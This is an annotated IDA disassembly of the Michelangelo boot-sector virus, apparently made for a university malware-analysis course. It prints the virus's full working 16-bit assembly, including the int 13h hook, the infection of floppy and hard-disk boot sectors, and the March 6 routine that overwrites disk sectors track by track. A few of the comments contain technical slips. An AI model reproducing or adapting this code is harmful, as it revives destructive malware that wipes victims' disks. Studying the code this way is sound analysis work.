```
07C0:0000 ;
07C0:0000 ; +-------------------------------------------------------------------------+
07C0:0000 ; |   This file has been generated by The Interactive Disassembler (IDA)    |
07C0:0000 ; |           Copyright (c) 2015 Hex-Rays, <support@hex-rays.com>           |
07C0:0000 ; |                      License info: 48-B31D-7294-8A                      |
07C0:0000 ; |                  Joe Sylve, BlackBag Technologies, Inc.                 |
07C0:0000 ; +-------------------------------------------------------------------------+
07C0:0000 ;
07C0:0000 ; Input SHA256 : B8A70F4A55E3EF8F59363FDF1F6ECD8761F3B8CEF8DB122EB0B2081B8C4CCD0E
07C0:0000 ; Input MD5    : 3FFC402675E30C6E42560EAA0A90A2B7
07C0:0000 ; Input CRC32  : 827C7725
07C0:0000
07C0:0000 ; ---------------------------------------------------------------------------
07C0:0000 ; File Name   : /Users/joe/Google Drive/4622/sp17/Malware/Michelangelo/michelangelo.1
07C0:0000 ; Format      : Binary file
07C0:0000 ; Base Address: 07C0h Range: 7C00h - 7E00h Loaded length: 00000200h
07C0:0000
07C0:0000                 .686p
07C0:0000                 .mmx
07C0:0000                 .model flat
07C0:0000
07C0:0000 ; ===========================================================================
07C0:0000
07C0:0000 ; Segment type: Pure code
07C0:0000 seg000          segment byte public 'CODE' use16
07C0:0000                 assume cs:seg000
07C0:0000                 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
07C0:0000                 jmp     loc_7CAF
07C0:0000 ; ---------------------------------------------------------------------------
07C0:0003 word_7C03       dw 0F5h
07C0:0005 word_7C05       dw 0
07C0:0007 byte_7C07       db 2
07C0:0008 word_7C08       dw 0Eh
07C0:000A word_7C0A       dw 9739h  7c0Ah = int 13h
07C0:000C word_7C0C       dw 0F000h
07C0:000E ; ---------------------------------------------------------------------------
07C0:000E hooked_int13h   push    ds              saves parameters passed to hooked int 13h to stack for real int 13h call
07C0:000F (checks if disk is push ax
07C0:0010 on so that virus or     dl, dl          is dl = 0 - checks if it was booted from the 1st floppy disk ("drive A:")
07C0:0012 can infect)     jnz     short loc_7C2F  if not jump to reset
07C0:0014                 xor     ax, ax
07C0:0016                 mov     ds, ax          zero out ds for next instruction
07C0:0018                 test    byte ptr ds:43Fh, 1   if its the 1st floppy - is it on/is it open to write to?
07C0:001D                 jnz     short loc_7C2F  if not jumpt to reset
07C0:001F                 pop     ax              pop paramters back off of the stack
07C0:0020                 pop     ds
07C0:0021                 pushf                   push flags to stop interrupt return from popping values off of stack
07C0:0022                 call    dword ptr cs:word_7C0A   call to int 13h to reset
07C0:0027                 pushf                   push flags to save the state of machine
07C0:0028                 call    sub_7C36        call to func 7c36 (start_infection) - saves the state of machine
07C0:002B                 popf
07C0:002C                 retf    2               pops flags to return machine to save state
                                                  returns to after the int 13h call
07C0:002F ; ---------------------------------------------------------------------------
07C0:002F
07C0:002F loc_7C2F:
07C0:002F call_original_int13h pop ax             restore ax & ds
07C0:0030                 pop     ds
07C0:0031                 jmp     dword ptr cs:word_7C0A   jump to int 13h
07C0:0036
07C0:0036 ; =============== S U B R O U T I N E =======================================
07C0:0036
07C0:0036
07C0:0036 sub_7C36        proc near
07C0:0036 start_infection push    ax              push all values onto stack to save them for later use
07C0:0037                 push    bx              saves the register's state for later use in the program
07C0:0038                 push    cx
07C0:0039                 push    dx              this function starts the infection process below
07C0:003A                 push    ds
07C0:003B                 push    es
07C0:003C                 push    si
07C0:003D                 push    di
07C0:003E                 push    cs
07C0:003F                 pop     ds
07C0:0040                 assume ds:nothing
07C0:0040                 push    cs
07C0:0041                 pop     es
07C0:0042                 assume es:nothing
07C0:0042                 mov     si, 4           set si to 4 - this is a loop counter for later
07C0:0045
07C0:0045 loc_7C45:
07C0:0045 read_first_200h mov     ax, 201h        sets paramters to read (ah = 2) one sector (al =1)
07C0:0048 for check infection mov bx, 200h        sets buffer parameter (bx) to 200h
07C0:004B                 mov     cx, 1           sets cl = 1, which means it will read from sector one
07C0:004E                 xor     dx, dx          sets paramter (dx) of head and drive to 0 read from drive 0 and head 0
07C0:0050                 pushf                   push flags onto stack before int 13h call to avoid losing stack value from
                                                  the int return
07C0:0051                 call    dword ptr ds:word_7C0A   call to int 13h - reads one sector at (es)0:200h(bx)
07C0:0055                 jnb     short loc_7C63  if it successfully reads it jumps to 7c63 to check if it has infected
07C0:0057                 xor     ax, ax          if errors happened set int 13h parameters (ax) to  for reset disk
07C0:0059                 pushf                   push flags onto stack to avoid int 13h return from popping current values
07C0:005A                 call    dword ptr ds:word_7C0A   call int 13h - resets disk
07C0:005E                 dec     si
07C0:005F                 jnz     short loc_7C45  dec si - this is a loop that tries to read 4 times, if loop isnt done jump back
                                                  up and try again
07C0:0061                 jmp     short loc_7CA6  if disk read error occured 4 times, then jump to 7Ca6 (ends process)
07C0:0063 ; ---------------------------------------------------------------------------
07C0:0063
07C0:0063 loc_7C63:
07C0:0063 read_success    xor     si, si          zero out si for comparison
07C0:0065                 cld                     clears direction flag - so that si will increment
07C0:0066                 lodsw                   loads address of 0 for the comparison
07C0:0067                 cmp     ax, [bx]        compares the first byte of to see if virus has infected
07C0:0069                 jnz     short loc_7C71  if not jump to infect_floppy1
07C0:006B                 lodsw                   loads address of next byte - (lodsw increments si by 1 byte)
07C0:006C                 cmp     ax, [bx+2]      compares the next byte to make sure virus has infected (checks twice to make
                                                  sure virus has infected)
```

```
07C0:006F                 jz      short loc_7CA6  if the virus has infected then jump to 7CA6
07C0:0071
07C0:0071 loc_7C71:
07C0:0071                 mov     ax, 301h                    set parameter - write to disk ah = 3 (write), al = 1 (# of
                                                              sectors)
07C0:0074 infect_floppy1  mov     dh, 1                       dh = 1 - write to head 1
07C0:0076                 mov     cl, 3                       cl = 3  - write to sector 3
07C0:0078                 cmp     byte ptr [bx+15h], 0FDh ; 'ý' checks if it is a single density floppy disk
07C0:007C                 jz      short loc_7C80              if single density floppy then jump to infect_floppy2
07C0:007E                 mov     cl, 0Eh                     else set to sector 0Eh (if its a double density floppy)
07C0:0080
07C0:0080 loc_7C80:
07C0:0080 infect_floppy2  mov     ds:word_7C08, cx        if single density, set 7C08 to 3 - this determines which sector to write to
07C0:0084                 pushf                           save flags to avoid losing data from int return
07C0:0085                 call    dword ptr ds:word_7C0A  call to int 13h - writes to the disk (infects the disk)
07C0:0089                 jb      short loc_7CA6          if there is an error jump to 7CA6 (stop infecting)
07C0:008B                 mov     si, 3BEh                set si - source operand for movsw
07C0:008E                 mov     di, 1BEh                set di - destination operand for movsw
07C0:0091                 mov     cx, 21h ; '!'           cx (counter parameter - will move 21h bytes)
07C0:0094                 cld                             cld - clears direction flag so that si and di increment as movsw happens
07C0:0095                 rep movsw                       movsw - copy 21h bytes (as words) of partition info from si to di -
                                                          partition information is important information for boot sector so that it
                                                          works properly
07C0:0097                 mov     ax, 301h                set parameters to write (ah = 3) one sector (al =1)
07C0:009A                 xor     bx, bx                  set buffer pointer (bx) to 0 so write to address 0
07C0:009C                 mov     cx, 1                   set sector parameter (cl) to 1 so write to sector 1
07C0:009F                 xor     dx, dx                  set drive (dh) and head (dl) parameters to 0
07C0:00A1                 pushf                           push flags to avoid int return popping values off of stack
07C0:00A2                 call    dword ptr ds:word_7C0A  call to in 13h - write one sector to sector #1 (boot sector) at drive and
07C0:00A6                                                 head numbers 0 at the buffer address 0 - writes virus to sector 1
07C0:00A6 loc_7CA6:
07C0:00A6 stop_infection  pop     di             pops all registers to restore the stack state from the pushes from the
07C0:00A7                 pop     si             function at 7C63 then return after
07C0:00A8                 pop     es
07C0:00A9                 assume es:nothing      This function stops infection process
07C0:00A9                 pop     ds
07C0:00AA                 assume ds:nothing
07C0:00AA                 pop     dx
07C0:00AB                 pop     cx
07C0:00AC                 pop     bx
07C0:00AD                 pop     ax
07C0:00AE                 retn
07C0:00AE sub_7C36        endp
07C0:00AE
07C0:00AF ; ---------------------------------------------------------------------------
07C0:00AF
07C0:00AF loc_7CAF:
07C0:00AF virus_main      xor     ax, ax          sets 0's the ax register for next instruction
07C0:00B1 (starts virus)  mov     ds, ax          sets the address ds to 0
07C0:00B3                 cli                     cli (clear interrupt flag) - disable interrupts
07C0:00B4                 mov     ss, ax          defines the begining of the code - stack segment (ss) to address 0 and the
07C0:00B6                 mov     ax, 7C00h       stack pointer to 7C00h - these instructions define bottom and top of stack
07C0:00B9                 mov     sp, ax          frame stince stack grows from higher to lower memory addresses
07C0:00BB                 sti                     sti (set interrupt flag) - enable interrupts
07C0:00BC                 push    ds              saves ds and ax onto stack for later use
07C0:00BD                 push    ax
07C0:00BE                 mov     ax, ds:4Ch      7C0Ah now contains the pointer of int 13h  - intercepts the function call
07C0:00C1                 mov     ds:7C0Ah, ax    7C0C now contains the pointer of the int 13h ivt - intercepts function call
07C0:00C4                 mov     ax, ds:4Eh
07C0:00C7                 mov     ds:7C0Ch, ax    ds:413h checks the memory size available in the Bios Data Area in KiB
07C0:00CA                 mov     ax, ds:413h     It then decrements this value by 2 KiB and reassgins the new value to ds:413h
07C0:00CD                 dec     ax              to hide 2kib of memory for the virus' code
07C0:00CE                 dec     ax
07C0:00CF                 mov     ds:413h, ax     then it shifts the new memory value by 6 which multiplies it by 64 and then
07C0:00D2                 mov     cl, 6           places it in es. Placing it in es further multiplies the value by 16. In total the
07C0:00D4                 shl     ax, cl          value is multiplied by 1024, which converts it from Kib to bytes. This obtains
07C0:00D6                 mov     es, ax          the higher memory address in es and it stores it in mem address 7C05h
07C0:00D8                 mov     ds:7C05h, ax
07C0:00DB                 mov     ax, 0Eh         sets 0Eh to ds:4Ch so when int 13h is called its hooked to execute at 0EH which
07C0:00DE                 mov     ds:4Ch, ax      is the viruses code. It hooks the call so that regular inth 13h is still functional
07C0:00E1                 mov     word ptr ds:4Eh, es
07C0:00E5                 mov     cx, 1BEh        cx is parameter for how many bytes movsb will copy - copies 1beh bytes (1beh
07C0:00E8                 mov     si, 7C00h       = address of partition info. uses this to protect from overwritting it)
07C0:00EB                 xor     di, di
07C0:00ED                 cld                     clears DF -  si and di are now incremented
07C0:00EE                 rep movsb               moves a byte from ds:si to es:di - copies itself from lower to higher memory
07C0:00F0                 jmp     dword ptr cs:7C03h  long jumps to offset values pointed at by 7C03h & 7C05h which is f5 (7C03h) at
                                                  higher memory (7C05h) and executes there
07C0:00F5 ; ---------------------------------------------------------------------------
07C0:00F5                 xor     ax, ax  Sets parameters for reset disk drive by zeroing ax (ah =0, al = 0) and then calls int13h to
07C0:00F7                 mov     es, ax  perform the reset disk system.
07C0:00F9                 int     13h             ; DISK - RESET DISK SYSTEM
07C0:00F9                                         ; DL = drive (if bit 7 is set both hard disks and floppy disks re
07C0:00FB                 push    cs              set ds to 0 for later use
07C0:00FC                 pop     ds
07C0:00FD                 assume ds:nothing       parameters are set for int 13h call. ah = 2 - parameter to read sectors into
07C0:00FD                 mov     ax, 201h        memory. al = 1 is the parameter to read one sector.
07C0:0100                 mov     bx, 7C00h       bx is the parameter for Buffer Address Pointer - read from address 7C00h
07C0:0103                 mov     cx, ds:word_7C08
07C0:0107                 cmp     cx, 7           mov value at 7C08 for comparison - checks if it is a hard disk if not hard disk jump
07C0:010A                 jnz     short loc_7D13  to 7D13 (floppy_read&check)
07C0:010C                 mov     dx, 80h ; '€'   if it is a hard disk then read from drive 80h
07C0:010F                 int     13h             ; DISK - READ SECTORS INTO MEMORY
07C0:010F                                         ; AL = number of sectors to read, CH = track, CL = sector
07C0:010F                                         ; DH = head, DL = drive, ES:BX -> buffer to fill
07C0:010F                                         ; Return: CF set on error, AH = status, AL = number of sectors re
07C0:0111                 jmp     short loc_7D3E  jump to function that checks date
07C0:0113 ; ---------------------------------------------------------------------------
07C0:0113
07C0:0113 loc_7D13:
07C0:0113 floppy_read&check mov   cx, ds:word_7C08        sets the paramter for which sector int 13 will use
07C0:0117                 mov     dx, 100h                set parameters - (dh) head = 1 and (dl) drive = 0
07C0:011A                 int     13h             ; DISK - ah = 2, al =1 bx = 7C00h - read one sector from head 1 drive 0
07C0:011C                 jb      short loc_7D3E          if there was an error then jump to function that checks date
07C0:011E                 push    cs                      set the higher buffer pointer for next call
07C0:011F                 pop     es
07C0:0120                 assume es:nothing
07C0:0120                 mov     ax, 201h                set parameters to read (ah = 2) one sector (al = 1)
07C0:0123                 mov     bx, 200h                set buffer parameter (bx) to 200h
```

```
                                                     set sector number parameter to 1
07C0:0126                mov     cx, 1               set drive parameter to 80h
07C0:0129                mov     dx, 80h ; '€'       call to int 13h read one sector from sector one drive 80h
07C0:012C                int     13h                   ; DISK - READ SECTORS INTO MEMORY
07C0:012C                                              ; AL = number of sectors to read, CH = track, CL = sector
07C0:012C                                              ; DH = head, DL = drive, ES:BX -> buffer to fill
07C0:012C                                              ; Return: CF set on error, AH = status, AL = number of sectors re
07C0:012E                jb      short loc_7D3E      if there was an error while reading the jump to clock check
07C0:0130                xor     si, si              set si to 0
07C0:0132                cld                         clear direction flag
07C0:0133                lodsw                       load address of 0 for comparison
07C0:0134                cmp     ax, [bx]            compare the byte value at address 0 ([bx]) with first byte of virus - this checks if the
07C0:0136                jnz     short loc_7D87      virus has infected
                                                     if not infected infected jump to infection funtion (infect_harddisk)
07C0:0138                lodsw                       load the next byte of si located on hard disk
07C0:0139                cmp     ax, [bx+2]          double check if the disk is infected
07C0:013C                jnz     short loc_7D87      if not infected jump to function to infect hard disk (infect-harddisk)
07C0:013E
07C0:013E loc_7D3E:
                                                 xor cx - this is done to ensure no problems happen with the system clock read
07C0:013E  check_date    xor     cx, cx          sets up paramenters for int 1Ah call to check system clock
07C0:0140                mov     ah, 4           ah =4, this tells it to check the system clock for the current time
07C0:0142                int     1Ah                   ; CLOCK - READ DATE FROM REAL TIME CLOCK (AT,XT286,CONV,PS)
07C0:0142                                              ; Return: DL = day in BCD
07C0:0142                                              ; DH = month in BCD
07C0:0142                                              ; CL = year in BCD
07C0:0142                                              ; CH = century (19h or 20h)
07C0:0144                cmp     dx, 306h             cmp - checks if date is march 6 - dh = 3 dl = 06
07C0:0148                jz      short loc_7D4B       if it is March 6th jump to function below to destroy
07C0:014A                retf                         if not return to caller
07C0:014B ; ---------------------------------------------------------------------------
07C0:014B
07C0:014B loc_7D4B:
07C0:014B start_damage   xor     dx, dx          clear dx - sets dh = 0 and dl = 0 - sets parameters for head and drive 0
07C0:014D                mov     cx, 1           sets parameter for sector 1 - (cl =1)
07C0:0150
07C0:0150 loc_7D50:
07C0:0150 destroy_disk1  mov     ax, 309h            set parameters - ah = 3 - write to disk, al = 9 - write to 9 sectors of disk
07C0:0153                mov     si, ds:word_7C08    mov value into si for comparison - checks to see what kind of disk it is
07C0:0157                cmp     si, 3               compare to see if floppy is high density
07C0:015A                jz      short loc_7D6C      if it is a high density floppy then jump to destruction function below
07C0:015C                mov     al, 0Eh
07C0:015E                cmp     si, 0Eh             if not then compare to see if it is a double density floppy
07C0:0161                jz      short loc_7D6C      if it is then jump to function below for destruction
07C0:0163                mov     dl, 80h ; '€'
07C0:0165                mov     ds:byte_7C07, 4     if not then it is a hard disk so move set drive (dl) to 80h (80h is first hard disk)
                                                     then move 4 into the loop counter variable
07C0:016A                mov     al, 11h             then set the sectors to write count to 11h
07C0:016C
07C0:016C loc_7D6C:
07C0:016C destroy_disk2  mov     bx, 5000h          set buffer address pointer to mem address 5000h
07C0:016F                mov     es, bx             this sets the buffer address pointer to 5000h:5000h
07C0:0171                assume es:nothing          write whats in 5000h to 9 sectors at sector 1
07C0:0171                int     13h                   ; DISK - WRITE SECTORS FROM MEMORY
07C0:0171                                              ; AL = number of sectors to write, CH = track, CL = sector
07C0:0171                                              ; DH = head, DL = drive, ES:BX -> buffer
07C0:0171                                              ; Return: CF set on error, AH = status, AL = number of sectors wr
07C0:0173                jnb     short loc_7D79      if error, jump to continue loop - continues damage
07C0:0175                xor     ah, ah              if no error clear ah to set parameters for reset (ah = 0, al = 0).
07C0:0177                int     13h resets disk       ; DISK - RESET DISK SYSTEM
07C0:0177                                              ; DL = drive (if bit 7 is set both hard disks and floppy disks re
07C0:0179
07C0:0179 loc_7D79:
07C0:0179 continue_damage inc    dh                  loop inside a loop - inc dh (drive param) to loop through the heads
07C0:017B                cmp     dh, ds:byte_7C07    compare to counter in the loop to make sure it goes through all heads
07C0:017F                jb      short loc_7D50      if it's not done, jump back up to do the other heads
07C0:0181                xor     dh, dh              0 out the head paramter to continue loop on the first head of next track
07C0:0183                inc     ch                  increments the ch so that it moves to the next track
07C0:0185                jmp     short loc_7D50      jumps to the top of loop so that it continues on the first head of the next track
                                                     (essentially wants to corrupt all of the memory)
07C0:0187 ; ---------------------------------------------------------------------------
07C0:0187
07C0:0187 loc_7D87:
                                                      moves 7 into cx for comparison
07C0:0187 infect_harddisk mov    cx, 7                comparison to check if it is a hard disk
07C0:018A                mov     ds:word_7C08, cx     if it is a hard disk then it write (ah = 3) to one sector of memory (al =1)
07C0:018E                mov     ax, 301h             write to drive 80h
07C0:0191                mov     dx, 80h ; '€'        int call to execute the write
07C0:0194                int     13h                   ; DISK - WRITE SECTORS FROM MEMORY
07C0:0194                                              ; AL = number of sectors to write, CH = track, CL = sector
07C0:0194                                              ; DH = head, DL = drive, ES:BX -> buffer
07C0:0194                                              ; Return: CF set on error, AH = status, AL = number of sectors wr
07C0:0196                jb      short loc_7D3E      if there was an error jump to function that reads date
07C0:0198                mov     si, 3BEh            if not, set si to the adress to move mem to for movsw
07C0:019B                mov     di, 1BEh            set to di to the correct addres to start moving mem from
07C0:019E                mov     cx, 21h ; '!'       set counter to 21h, 21h is the ammount of partition info that will be copied to
07C0:01A1                rep movsw                   avoid problems - movsw moves a word form di -> si
07C0:01A3                mov     ax, 301h            set paramters to write to disk (ah = 3) and write one sector of info (al = 1)
07C0:01A6                xor     bx, bx              xor bx - sets the lower part of buffer add pointer to 0 so it copies from BDA
07C0:01A8                inc     cl                  inc cl to store info on sector 8 (cx = 7 then inc makes it 8)
07C0:01AA                int     13h                 int 13 call to execute the write - infect the hard disk
07C0:01AA                                              ; DISK - WRITE SECTORS FROM MEMORY
07C0:01AA                                              ; AL = number of sectors to write, CH = track, CL = sector
07C0:01AA                                              ; DH = head, DL = drive, ES:BX -> buffer
07C0:01AA                                              ; Return: CF set on error, AH = status, AL = number of sectors wr
07C0:01AC                jmp     short loc_7D3E      if there was an error writing to the disk jump to function that checks the date
07C0:01AC ; ---------------------------------------------------------------------------
07C0:01AE                db 50h dup(0), 55h, 0AAh set the boot sector signiture, this is set so that the virus so it looks like a
07C0:01AE seg000         ends                      regular boot sector, it is essentially hiding itself by doing this bc the pc checks
07C0:01AE                                          this to make sure the boot sector is not corrrupted
07C0:01AE
07C0:01AE                end
```